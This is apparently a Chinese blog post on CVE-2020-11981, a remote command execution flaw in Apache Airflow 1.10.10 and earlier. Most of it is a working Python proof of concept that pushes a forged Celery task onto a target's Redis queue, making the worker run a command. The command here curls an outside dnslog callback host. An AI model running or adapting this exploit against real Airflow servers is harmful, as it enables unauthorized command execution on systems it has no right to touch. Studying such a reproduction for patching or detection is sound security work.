Apache Airflow Celery 消息中间件命令执行(CVE-2020-11981)

最新推荐文章于 2024-05-22 15:57:48 发布

原创最新推荐文章于 2024-05-22 15:57:48 发布 · 201 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#java #开发语言

本文介绍了一个存在于 Apache Airflow 1.10.10 版本及之前的远程命令执行漏洞。该漏洞允许攻击者通过构造恶意 JSON 任务消息并发送到 Celery 或 Redis 队列来执行任意命令。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

漏洞原理

写入一个JSON任务消息执行airflow.executors.celery_executor.execute_command到airflow的celery redis队列

影响范围：

Apache Airflow <= 1.10.10

复现

poc

import pickle
import json
import base64
import redis
import sys
r = redis.Redis(host=sys.argv[1], port=6379, decode_responses=True,db=0) 
queue_name = 'default'
ori_str="{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"delivery_info\": {\"routing_key\": \"celery\", \"exchange\": \"\"}, \"reply_to\": \"fb996eec-3033-3c10-9ee1-418e1ca06db8\"}, \"content-type\": \"application/json\", \"headers\": {\"retries\": 0, \"lang\": \"py\", \"argsrepr\": \"(100, 200)\", \"expires\": null, \"task\": \"airflow.executors.celery_executor.execute_command\", \"kwargsrepr\": \"{}\", \"root_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"parent_id\": null, \"id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"origin\": \"gen1@132f65270cde\", \"eta\": null, \"group\": null, \"timelimit\": [null, null]}, \"body\": \"W1sxMDAsIDIwMF0sIHt9LCB7ImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNhbGxiYWNrcyI6IG51bGx9XQ==\"}"
task_dict = json.loads(ori_str)
command = ['curl', 'vpzzm8.dnslog.cn']
body=[[command], {}, {"chain": None, "chord": None, "errbacks": None, "callbacks": None}]
task_dict['body']=base64.b64encode(json.dumps(body).encode()).decode()
print(task_dict)
r.lpush(queue_name,json.dumps(task_dict))